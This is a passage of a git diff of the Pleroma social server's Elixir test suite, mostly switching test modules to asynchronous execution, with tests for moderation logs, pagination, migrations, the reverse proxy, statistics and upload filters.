	"@#{moderator.nickname} added note 'look at this' to report ##{report.id} on user @#{
	user.nickname
	}"
	end

	test "logging status sensitivity update", %{moderator: moderator} do
	note = insert(:note_activity)

	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "status_update",
	subject: note,
	sensitive: "true",
	visibility: nil
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'"
	end

	test "logging status visibility update", %{moderator: moderator} do
	note = insert(:note_activity)

	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "status_update",
	subject: note,
	sensitive: nil,
	visibility: "private"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'"
	end

	test "logging status sensitivity & visibility update", %{moderator: moderator} do
	note = insert(:note_activity)

	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "status_update",
	subject: note,
	sensitive: "true",
	visibility: "private"
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] ==
	"@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'"
	end

	test "logging status deletion", %{moderator: moderator} do
	note = insert(:note_activity)

	{:ok, _} =
	ModerationLog.insert_log(%{
	actor: moderator,
	action: "status_delete",
	subject_id: note.id
	})

	log = Repo.one(ModerationLog)

	assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}"
	end
	end
	end
	diff --git a/test/pleroma/pagination_test.exs b/test/pleroma/pagination_test.exs
	index e526f23e8..5ee1e60ae 100644
	--- a/test/pleroma/pagination_test.exs
	+++ b/test/pleroma/pagination_test.exs
	@@ -1,92 +1,92 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.PaginationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	alias Pleroma.Object
	alias Pleroma.Pagination

	describe "keyset" do
	setup do
	notes = insert_list(5, :note)

	%{notes: notes}
	end

	test "paginates by min_id", %{notes: notes} do
	id = Enum.at(notes, 2).id \|> Integer.to_string()

	%{total: total, items: paginated} =
	Pagination.fetch_paginated(Object, %{min_id: id, total: true})

	assert length(paginated) == 2
	assert total == 5
	end

	test "paginates by since_id", %{notes: notes} do
	id = Enum.at(notes, 2).id \|> Integer.to_string()

	%{total: total, items: paginated} =
	Pagination.fetch_paginated(Object, %{since_id: id, total: true})

	assert length(paginated) == 2
	assert total == 5
	end

	test "paginates by max_id", %{notes: notes} do
	id = Enum.at(notes, 1).id \|> Integer.to_string()

	%{total: total, items: paginated} =
	Pagination.fetch_paginated(Object, %{max_id: id, total: true})

	assert length(paginated) == 1
	assert total == 5
	end

	test "paginates by min_id & limit", %{notes: notes} do
	id = Enum.at(notes, 2).id \|> Integer.to_string()

	paginated = Pagination.fetch_paginated(Object, %{min_id: id, limit: 1})

	assert length(paginated) == 1
	end

	test "handles id gracefully", %{notes: notes} do
	id = Enum.at(notes, 1).id \|> Integer.to_string()

	paginated =
	Pagination.fetch_paginated(Object, %{
	id: "9s99Hq44Cnv8PKBwWG",
	max_id: id,
	limit: 20,
	offset: 0
	})

	assert length(paginated) == 1
	end
	end

	describe "offset" do
	setup do
	notes = insert_list(5, :note)

	%{notes: notes}
	end

	test "paginates by limit" do
	paginated = Pagination.fetch_paginated(Object, %{limit: 2}, :offset)

	assert length(paginated) == 2
	end

	test "paginates by limit & offset" do
	paginated = Pagination.fetch_paginated(Object, %{limit: 2, offset: 4}, :offset)

	assert length(paginated) == 1
	end
	end
	end
	diff --git a/test/pleroma/registration_test.exs b/test/pleroma/registration_test.exs
	index 7db8e3664..462ab452b 100644
	--- a/test/pleroma/registration_test.exs
	+++ b/test/pleroma/registration_test.exs
	@@ -1,59 +1,59 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.RegistrationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	alias Pleroma.Registration
	alias Pleroma.Repo

	describe "generic changeset" do
	test "requires :provider, :uid" do
	registration = build(:registration, provider: nil, uid: nil)

	cs = Registration.changeset(registration, %{})
	refute cs.valid?

	assert [
	provider: {"can't be blank", [validation: :required]},
	uid: {"can't be blank", [validation: :required]}
	] == cs.errors
	end

	test "ensures uniqueness of [:provider, :uid]" do
	registration = insert(:registration)
	registration2 = build(:registration, provider: registration.provider, uid: registration.uid)

	cs = Registration.changeset(registration2, %{})
	assert cs.valid?

	assert {:error,
	%Ecto.Changeset{
	errors: [
	uid:
	{"has already been taken",
	[constraint: :unique, constraint_name: "registrations_provider_uid_index"]}
	]
	}} = Repo.insert(cs)

	# Note: multiple :uid values per [:user_id, :provider] are intentionally allowed
	cs2 = Registration.changeset(registration2, %{uid: "available.uid"})
	assert cs2.valid?
	assert {:ok, _} = Repo.insert(cs2)

	cs3 = Registration.changeset(registration2, %{provider: "provider2"})
	assert cs3.valid?
	assert {:ok, _} = Repo.insert(cs3)
	end

	test "allows `nil` :user_id (user-unbound registration)" do
	registration = build(:registration, user_id: nil)
	cs = Registration.changeset(registration, %{})
	assert cs.valid?
	assert {:ok, _} = Repo.insert(cs)
	end
	end
	end
	diff --git a/test/pleroma/repo/migrations/fix_legacy_tags_test.exs b/test/pleroma/repo/migrations/fix_legacy_tags_test.exs
	index 432055e45..adfed1142 100644
	--- a/test/pleroma/repo/migrations/fix_legacy_tags_test.exs
	+++ b/test/pleroma/repo/migrations/fix_legacy_tags_test.exs
	@@ -1,28 +1,28 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Repo.Migrations.FixLegacyTagsTest do
	alias Pleroma.User
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	import Pleroma.Tests.Helpers

	setup_all do: require_migration("20200802170532_fix_legacy_tags")

	test "change/0 converts legacy user tags into correct values", %{migration: migration} do
	user = insert(:user, tags: ["force_nsfw", "force_unlisted", "verified"])
	user2 = insert(:user)

	assert :ok == migration.change()

	fixed_user = User.get_by_id(user.id)
	fixed_user2 = User.get_by_id(user2.id)

	assert fixed_user.tags == ["mrf_tag:media-force-nsfw", "mrf_tag:force-unlisted", "verified"]
	assert fixed_user2.tags == []

	# user2 should not have been updated
	assert fixed_user2.updated_at == fixed_user2.inserted_at
	end
	end
	diff --git a/test/pleroma/repo/migrations/move_welcome_settings_test.exs b/test/pleroma/repo/migrations/move_welcome_settings_test.exs
	index 53d05a55a..5dbe9d7b0 100644
	--- a/test/pleroma/repo/migrations/move_welcome_settings_test.exs
	+++ b/test/pleroma/repo/migrations/move_welcome_settings_test.exs
	@@ -1,144 +1,144 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Repo.Migrations.MoveWelcomeSettingsTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	import Pleroma.Tests.Helpers
	alias Pleroma.ConfigDB

	setup_all do: require_migration("20200724133313_move_welcome_settings")

	describe "up/0" do
	test "converts welcome settings", %{migration: migration} do
	insert(:config,
	group: :pleroma,
	key: :instance,
	value: [
	welcome_message: "Test message",
	welcome_user_nickname: "jimm",
	name: "Pleroma"
	]
	)

	migration.up()
	instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance})
	welcome_config = ConfigDB.get_by_params(%{group: :pleroma, key: :welcome})

	assert instance_config.value == [name: "Pleroma"]

	assert welcome_config.value == [
	direct_message: %{
	enabled: true,
	message: "Test message",
	sender_nickname: "jimm"
	},
	email: %{
	enabled: false,
	html: "Welcome to <%= instance_name %>",
	sender: nil,
	subject: "Welcome to <%= instance_name %>",
	text: "Welcome to <%= instance_name %>"
	}
	]
	end

	test "does nothing when message empty", %{migration: migration} do
	insert(:config,
	group: :pleroma,
	key: :instance,
	value: [
	welcome_message: "",
	welcome_user_nickname: "jimm",
	name: "Pleroma"
	]
	)

	migration.up()
	instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance})
	refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome})
	assert instance_config.value == [name: "Pleroma"]
	end

	test "does nothing when welcome_message not set", %{migration: migration} do
	insert(:config,
	group: :pleroma,
	key: :instance,
	value: [welcome_user_nickname: "jimm", name: "Pleroma"]
	)

	migration.up()
	instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance})
	refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome})
	assert instance_config.value == [name: "Pleroma"]
	end
	end

	describe "down/0" do
	test "revert new settings to old when instance setting not exists", %{migration: migration} do
	insert(:config,
	group: :pleroma,
	key: :welcome,
	value: [
	direct_message: %{
	enabled: true,
	message: "Test message",
	sender_nickname: "jimm"
	},
	email: %{
	enabled: false,
	html: "Welcome to <%= instance_name %>",
	sender: nil,
	subject: "Welcome to <%= instance_name %>",
	text: "Welcome to <%= instance_name %>"
	}
	]
	)

	migration.down()

	refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome})
	instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance})

	assert instance_config.value == [
	welcome_user_nickname: "jimm",
	welcome_message: "Test message"
	]
	end

	test "revert new settings to old when instance setting exists", %{migration: migration} do
	insert(:config, group: :pleroma, key: :instance, value: [name: "Pleroma App"])

	insert(:config,
	group: :pleroma,
	key: :welcome,
	value: [
	direct_message: %{
	enabled: true,
	message: "Test message",
	sender_nickname: "jimm"
	},
	email: %{
	enabled: false,
	html: "Welcome to <%= instance_name %>",
	sender: nil,
	subject: "Welcome to <%= instance_name %>",
	text: "Welcome to <%= instance_name %>"
	}
	]
	)

	migration.down()

	refute ConfigDB.get_by_params(%{group: :pleroma, key: :welcome})
	instance_config = ConfigDB.get_by_params(%{group: :pleroma, key: :instance})

	assert instance_config.value == [
	name: "Pleroma App",
	welcome_user_nickname: "jimm",
	welcome_message: "Test message"
	]
	end
	end
	end
	diff --git a/test/pleroma/repo_test.exs b/test/pleroma/repo_test.exs
	index 155791be2..eaddef3a6 100644
	--- a/test/pleroma/repo_test.exs
	+++ b/test/pleroma/repo_test.exs
	@@ -1,80 +1,80 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.RepoTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	alias Pleroma.User

	describe "find_resource/1" do
	test "returns user" do
	user = insert(:user)
	query = from(t in User, where: t.id == ^user.id)
	assert Repo.find_resource(query) == {:ok, user}
	end

	test "returns not_found" do
	query = from(t in User, where: t.id == ^"9gBuXNpD2NyDmmxxdw")
	assert Repo.find_resource(query) == {:error, :not_found}
	end
	end

	describe "get_assoc/2" do
	test "get assoc from preloaded data" do
	user = %User{name: "Agent Smith"}
	token = %Pleroma.Web.OAuth.Token{insert(:oauth_token) \| user: user}
	assert Repo.get_assoc(token, :user) == {:ok, user}
	end

	test "get one-to-one assoc from repo" do
	user = insert(:user, name: "Jimi Hendrix")
	token = refresh_record(insert(:oauth_token, user: user))

	assert Repo.get_assoc(token, :user) == {:ok, user}
	end

	test "get one-to-many assoc from repo" do
	user = insert(:user)

	notification =
	refresh_record(insert(:notification, user: user, activity: insert(:note_activity)))

	assert Repo.get_assoc(user, :notifications) == {:ok, [notification]}
	end

	test "return error if has not assoc " do
	token = insert(:oauth_token, user: nil)
	assert Repo.get_assoc(token, :user) == {:error, :not_found}
	end
	end

	describe "chunk_stream/3" do
	test "fetch records one-by-one" do
	users = insert_list(50, :user)

	{fetch_users, 50} =
	from(t in User)
	\|> Repo.chunk_stream(5)
	\|> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} ->
	{acc ++ [user], count + 1}
	end)

	assert users == fetch_users
	end

	test "fetch records in bulk" do
	users = insert_list(50, :user)

	{fetch_users, 10} =
	from(t in User)
	\|> Repo.chunk_stream(5, :batches)
	\|> Enum.reduce({[], 0}, fn users, {acc, count} ->
	{acc ++ users, count + 1}
	end)

	assert users == fetch_users
	end
	end
	end
	diff --git a/test/pleroma/report_note_test.exs b/test/pleroma/report_note_test.exs
	index 25c1d6a61..cc4561eea 100644
	--- a/test/pleroma/report_note_test.exs
	+++ b/test/pleroma/report_note_test.exs
	@@ -1,16 +1,16 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ReportNoteTest do
	alias Pleroma.ReportNote
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory

	test "create/3" do
	user = insert(:user)
	report = insert(:report_activity)
	assert {:ok, note} = ReportNote.create(user.id, report.id, "naughty boy")
	assert note.content == "naughty boy"
	end
	end
	diff --git a/test/pleroma/reverse_proxy_test.exs b/test/pleroma/reverse_proxy_test.exs
	index 8df63de65..0a2c169ce 100644
	--- a/test/pleroma/reverse_proxy_test.exs
	+++ b/test/pleroma/reverse_proxy_test.exs
	@@ -1,336 +1,335 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ReverseProxyTest do
	- use Pleroma.Web.ConnCase, async: true
	-
	+ use Pleroma.Web.ConnCase
	import ExUnit.CaptureLog
	import Mox

	alias Pleroma.ReverseProxy
	alias Pleroma.ReverseProxy.ClientMock
	alias Plug.Conn

	setup_all do
	{:ok, _} = Registry.start_link(keys: :unique, name: ClientMock)
	:ok
	end

	setup :verify_on_exit!

	defp user_agent_mock(user_agent, invokes) do
	json = Jason.encode!(%{"user-agent": user_agent})

	ClientMock
	\|> expect(:request, fn :get, url, _, _, _ ->
	Registry.register(ClientMock, url, 0)

	{:ok, 200,
	[
	{"content-type", "application/json"},
	{"content-length", byte_size(json) \|> to_string()}
	], %{url: url}}
	end)
	\|> expect(:stream_body, invokes, fn %{url: url} = client ->
	case Registry.lookup(ClientMock, url) do
	[{_, 0}] ->
	Registry.update_value(ClientMock, url, &(&1 + 1))
	{:ok, json, client}

	[{_, 1}] ->
	Registry.unregister(ClientMock, url)
	:done
	end
	end)
	end

	describe "reverse proxy" do
	test "do not track successful request", %{conn: conn} do
	user_agent_mock("hackney/1.15.1", 2)
	url = "/success"

	conn = ReverseProxy.call(conn, url)

	assert conn.status == 200
	assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, nil}
	end
	end

	describe "user-agent" do
	test "don't keep", %{conn: conn} do
	user_agent_mock("hackney/1.15.1", 2)
	conn = ReverseProxy.call(conn, "/user-agent")
	assert json_response(conn, 200) == %{"user-agent" => "hackney/1.15.1"}
	end

	test "keep", %{conn: conn} do
	user_agent_mock(Pleroma.Application.user_agent(), 2)
	conn = ReverseProxy.call(conn, "/user-agent-keep", keep_user_agent: true)
	assert json_response(conn, 200) == %{"user-agent" => Pleroma.Application.user_agent()}
	end
	end

	test "closed connection", %{conn: conn} do
	ClientMock
	\|> expect(:request, fn :get, "/closed", _, _, _ -> {:ok, 200, [], %{}} end)
	\|> expect(:stream_body, fn _ -> {:error, :closed} end)
	\|> expect(:close, fn _ -> :ok end)

	conn = ReverseProxy.call(conn, "/closed")
	assert conn.halted
	end

	defp stream_mock(invokes, with_close? \\ false) do
	ClientMock
	\|> expect(:request, fn :get, "/stream-bytes/" <> length, _, _, _ ->
	Registry.register(ClientMock, "/stream-bytes/" <> length, 0)

	{:ok, 200, [{"content-type", "application/octet-stream"}],
	%{url: "/stream-bytes/" <> length}}
	end)
	\|> expect(:stream_body, invokes, fn %{url: "/stream-bytes/" <> length} = client ->
	max = String.to_integer(length)

	case Registry.lookup(ClientMock, "/stream-bytes/" <> length) do
	[{_, current}] when current < max ->
	Registry.update_value(
	ClientMock,
	"/stream-bytes/" <> length,
	&(&1 + 10)
	)

	{:ok, "0123456789", client}

	[{_, ^max}] ->
	Registry.unregister(ClientMock, "/stream-bytes/" <> length)
	:done
	end
	end)

	if with_close? do
	expect(ClientMock, :close, fn _ -> :ok end)
	end
	end

	describe "max_body" do
	test "length returns error if content-length more than option", %{conn: conn} do
	user_agent_mock("hackney/1.15.1", 0)

	assert capture_log(fn ->
	ReverseProxy.call(conn, "/huge-file", max_body_length: 4)
	end) =~
	"[error] Elixir.Pleroma.ReverseProxy: request to \"/huge-file\" failed: :body_too_large"

	assert {:ok, true} == Cachex.get(:failed_proxy_url_cache, "/huge-file")

	assert capture_log(fn ->
	ReverseProxy.call(conn, "/huge-file", max_body_length: 4)
	end) == ""
	end

	test "max_body_length returns error if streaming body more than that option", %{conn: conn} do
	stream_mock(3, true)

	assert capture_log(fn ->
	ReverseProxy.call(conn, "/stream-bytes/50", max_body_length: 30)
	end) =~
	"[warn] Elixir.Pleroma.ReverseProxy request to /stream-bytes/50 failed while reading/chunking: :body_too_large"
	end
	end

	describe "HEAD requests" do
	test "common", %{conn: conn} do
	ClientMock
	\|> expect(:request, fn :head, "/head", _, _, _ ->
	{:ok, 200, [{"content-type", "text/html; charset=utf-8"}]}
	end)

	conn = ReverseProxy.call(Map.put(conn, :method, "HEAD"), "/head")
	assert html_response(conn, 200) == ""
	end
	end

	defp error_mock(status) when is_integer(status) do
	ClientMock
	\|> expect(:request, fn :get, "/status/" <> _, _, _, _ ->
	{:error, status}
	end)
	end

	describe "returns error on" do
	test "500", %{conn: conn} do
	error_mock(500)
	url = "/status/500"

	capture_log(fn -> ReverseProxy.call(conn, url) end) =~
	"[error] Elixir.Pleroma.ReverseProxy: request to /status/500 failed with HTTP status 500"

	assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true}

	{:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url)
	assert ttl <= 60_000
	end

	test "400", %{conn: conn} do
	error_mock(400)
	url = "/status/400"

	capture_log(fn -> ReverseProxy.call(conn, url) end) =~
	"[error] Elixir.Pleroma.ReverseProxy: request to /status/400 failed with HTTP status 400"

	assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true}
	assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil}
	end

	test "403", %{conn: conn} do
	error_mock(403)
	url = "/status/403"

	capture_log(fn ->
	ReverseProxy.call(conn, url, failed_request_ttl: :timer.seconds(120))
	end) =~
	"[error] Elixir.Pleroma.ReverseProxy: request to /status/403 failed with HTTP status 403"

	{:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url)
	assert ttl > 100_000
	end

	test "204", %{conn: conn} do
	url = "/status/204"
	expect(ClientMock, :request, fn :get, _url, _, _, _ -> {:ok, 204, [], %{}} end)

	capture_log(fn ->
	conn = ReverseProxy.call(conn, url)
	assert conn.resp_body == "Request failed: No Content"
	assert conn.halted
	end) =~
	"[error] Elixir.Pleroma.ReverseProxy: request to \"/status/204\" failed with HTTP status 204"

	assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true}
	assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil}
	end
	end

	test "streaming", %{conn: conn} do
	stream_mock(21)
	conn = ReverseProxy.call(conn, "/stream-bytes/200")
	assert conn.state == :chunked
	assert byte_size(conn.resp_body) == 200
	assert Conn.get_resp_header(conn, "content-type") == ["application/octet-stream"]
	end

	defp headers_mock(_) do
	ClientMock
	\|> expect(:request, fn :get, "/headers", headers, _, _ ->
	Registry.register(ClientMock, "/headers", 0)
	{:ok, 200, [{"content-type", "application/json"}], %{url: "/headers", headers: headers}}
	end)
	\|> expect(:stream_body, 2, fn %{url: url, headers: headers} = client ->
	case Registry.lookup(ClientMock, url) do
	[{_, 0}] ->
	Registry.update_value(ClientMock, url, &(&1 + 1))
	headers = for {k, v} <- headers, into: %{}, do: {String.capitalize(k), v}
	{:ok, Jason.encode!(%{headers: headers}), client}

	[{_, 1}] ->
	Registry.unregister(ClientMock, url)
	:done
	end
	end)

	:ok
	end

	describe "keep request headers" do
	setup [:headers_mock]

	test "header passes", %{conn: conn} do
	conn =
	Conn.put_req_header(
	conn,
	"accept",
	"text/html"
	)
	\|> ReverseProxy.call("/headers")

	%{"headers" => headers} = json_response(conn, 200)
	assert headers["Accept"] == "text/html"
	end

	test "header is filtered", %{conn: conn} do
	conn =
	Conn.put_req_header(
	conn,
	"accept-language",
	"en-US"
	)
	\|> ReverseProxy.call("/headers")

	%{"headers" => headers} = json_response(conn, 200)
	refute headers["Accept-Language"]
	end
	end

	test "returns 400 on non GET, HEAD requests", %{conn: conn} do
	conn = ReverseProxy.call(Map.put(conn, :method, "POST"), "/ip")
	assert conn.status == 400
	end

	describe "cache resp headers" do
	test "add cache-control", %{conn: conn} do
	ClientMock
	\|> expect(:request, fn :get, "/cache", _, _, _ ->
	{:ok, 200, [{"ETag", "some ETag"}], %{}}
	end)
	\|> expect(:stream_body, fn _ -> :done end)

	conn = ReverseProxy.call(conn, "/cache")
	assert {"cache-control", "public, max-age=1209600"} in conn.resp_headers
	end
	end

	defp disposition_headers_mock(headers) do
	ClientMock
	\|> expect(:request, fn :get, "/disposition", _, _, _ ->
	Registry.register(ClientMock, "/disposition", 0)

	{:ok, 200, headers, %{url: "/disposition"}}
	end)
	\|> expect(:stream_body, 2, fn %{url: "/disposition"} = client ->
	case Registry.lookup(ClientMock, "/disposition") do
	[{_, 0}] ->
	Registry.update_value(ClientMock, "/disposition", &(&1 + 1))
	{:ok, "", client}

	[{_, 1}] ->
	Registry.unregister(ClientMock, "/disposition")
	:done
	end
	end)
	end

	describe "response content disposition header" do
	test "not atachment", %{conn: conn} do
	disposition_headers_mock([
	{"content-type", "image/gif"},
	{"content-length", "0"}
	])

	conn = ReverseProxy.call(conn, "/disposition")

	assert {"content-type", "image/gif"} in conn.resp_headers
	end

	test "with content-disposition header", %{conn: conn} do
	disposition_headers_mock([
	{"content-disposition", "attachment; filename=\"filename.jpg\""},
	{"content-length", "0"}
	])

	conn = ReverseProxy.call(conn, "/disposition")

	assert {"content-disposition", "attachment; filename=\"filename.jpg\""} in conn.resp_headers
	end
	end
	end
	diff --git a/test/pleroma/safe_jsonb_set_test.exs b/test/pleroma/safe_jsonb_set_test.exs
	index 8b1274545..6d70f1026 100644
	--- a/test/pleroma/safe_jsonb_set_test.exs
	+++ b/test/pleroma/safe_jsonb_set_test.exs
	@@ -1,16 +1,16 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.SafeJsonbSetTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	test "it doesn't wipe the object when asked to set the value to NULL" do
	assert %{rows: [[%{"key" => "value", "test" => nil}]]} =
	Ecto.Adapters.SQL.query!(
	Pleroma.Repo,
	"select safe_jsonb_set('{\"key\": \"value\"}'::jsonb, '{test}', NULL);",
	[]
	)
	end
	end
	diff --git a/test/pleroma/stats_test.exs b/test/pleroma/stats_test.exs
	index 74bf785b0..6c2fd5726 100644
	--- a/test/pleroma/stats_test.exs
	+++ b/test/pleroma/stats_test.exs
	@@ -1,122 +1,122 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.StatsTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	import Pleroma.Factory

	alias Pleroma.Stats
	alias Pleroma.Web.CommonAPI

	describe "user count" do
	test "it ignores internal users" do
	_user = insert(:user, local: true)
	_internal = insert(:user, local: true, nickname: nil)
	_internal = Pleroma.Web.ActivityPub.Relay.get_actor()

	assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data())
	end
	end

	describe "status visibility sum count" do
	test "on new status" do
	instance2 = "instance2.tld"
	user = insert(:user)
	other_user = insert(:user, %{ap_id: "https://#{instance2}/@actor"})

	CommonAPI.post(user, %{visibility: "public", status: "hey"})

	Enum.each(0..1, fn _ ->
	CommonAPI.post(user, %{
	visibility: "unlisted",
	status: "hey"
	})
	end)

	Enum.each(0..2, fn _ ->
	CommonAPI.post(user, %{
	visibility: "direct",
	status: "hey @#{other_user.nickname}"
	})
	end)

	Enum.each(0..3, fn _ ->
	CommonAPI.post(user, %{
	visibility: "private",
	status: "hey"
	})
	end)

	assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} =
	Stats.get_status_visibility_count()
	end

	test "on status delete" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"})
	assert %{"public" => 1} = Stats.get_status_visibility_count()
	CommonAPI.delete(activity.id, user)
	assert %{"public" => 0} = Stats.get_status_visibility_count()
	end

	test "on status visibility update" do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"})
	assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count()
	{:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"})
	assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count()
	end

	test "doesn't count unrelated activities" do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"})
	_ = CommonAPI.follow(user, other_user)
	CommonAPI.favorite(other_user, activity.id)
	CommonAPI.repeat(activity.id, other_user)

	assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} =
	Stats.get_status_visibility_count()
	end
	end

	describe "status visibility by instance count" do
	test "single instance" do
	local_instance = Pleroma.Web.Endpoint.url() \|> String.split("//") \|> Enum.at(1)
	instance2 = "instance2.tld"
	user1 = insert(:user)
	user2 = insert(:user, %{ap_id: "https://#{instance2}/@actor"})

	CommonAPI.post(user1, %{visibility: "public", status: "hey"})

	Enum.each(1..5, fn _ ->
	CommonAPI.post(user1, %{
	visibility: "unlisted",
	status: "hey"
	})
	end)

	Enum.each(1..10, fn _ ->
	CommonAPI.post(user1, %{
	visibility: "direct",
	status: "hey @#{user2.nickname}"
	})
	end)

	Enum.each(1..20, fn _ ->
	CommonAPI.post(user2, %{
	visibility: "private",
	status: "hey"
	})
	end)

	assert %{"direct" => 10, "private" => 0, "public" => 1, "unlisted" => 5} =
	Stats.get_status_visibility_count(local_instance)

	assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} =
	Stats.get_status_visibility_count(instance2)
	end
	end
	end
	diff --git a/test/pleroma/upload/filter/dedupe_test.exs b/test/pleroma/upload/filter/dedupe_test.exs
	index 92a3d7df3..6559cbb50 100644
	--- a/test/pleroma/upload/filter/dedupe_test.exs
	+++ b/test/pleroma/upload/filter/dedupe_test.exs
	@@ -1,32 +1,32 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Upload.Filter.DedupeTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Upload
	alias Pleroma.Upload.Filter.Dedupe

	@shasum "e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781"

	test "adds shasum" do
	File.cp!(
	"test/fixtures/image.jpg",
	"test/fixtures/image_tmp.jpg"
	)

	upload = %Upload{
	name: "an… image.jpg",
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image_tmp.jpg"),
	tempfile: Path.absname("test/fixtures/image_tmp.jpg")
	}

	assert {
	:ok,
	:filtered,
	%Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"}
	} = Dedupe.filter(upload)
	end
	end
	diff --git a/test/pleroma/upload/filter/exiftool_test.exs b/test/pleroma/upload/filter/exiftool_test.exs
	index 6b978b64c..b5a5ba18d 100644
	--- a/test/pleroma/upload/filter/exiftool_test.exs
	+++ b/test/pleroma/upload/filter/exiftool_test.exs
	@@ -1,42 +1,42 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Upload.Filter.ExiftoolTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Upload.Filter

	test "apply exiftool filter" do
	assert Pleroma.Utils.command_available?("exiftool")

	File.cp!(
	"test/fixtures/DSCN0010.jpg",
	"test/fixtures/DSCN0010_tmp.jpg"
	)

	upload = %Pleroma.Upload{
	name: "image_with_GPS_data.jpg",
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/DSCN0010.jpg"),
	tempfile: Path.absname("test/fixtures/DSCN0010_tmp.jpg")
	}

	assert Filter.Exiftool.filter(upload) == {:ok, :filtered}

	{exif_original, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010.jpg"])
	{exif_filtered, 0} = System.cmd("exiftool", ["test/fixtures/DSCN0010_tmp.jpg"])

	refute exif_original == exif_filtered
	assert String.match?(exif_original, ~r/GPS/)
	refute String.match?(exif_filtered, ~r/GPS/)
	end

	test "verify webp files are skipped" do
	upload = %Pleroma.Upload{
	name: "sample.webp",
	content_type: "image/webp"
	}

	assert Filter.Exiftool.filter(upload) == {:ok, :noop}
	end
	end
	diff --git a/test/pleroma/uploaders/local_test.exs b/test/pleroma/uploaders/local_test.exs
	index 1ce7be485..5b377d580 100644
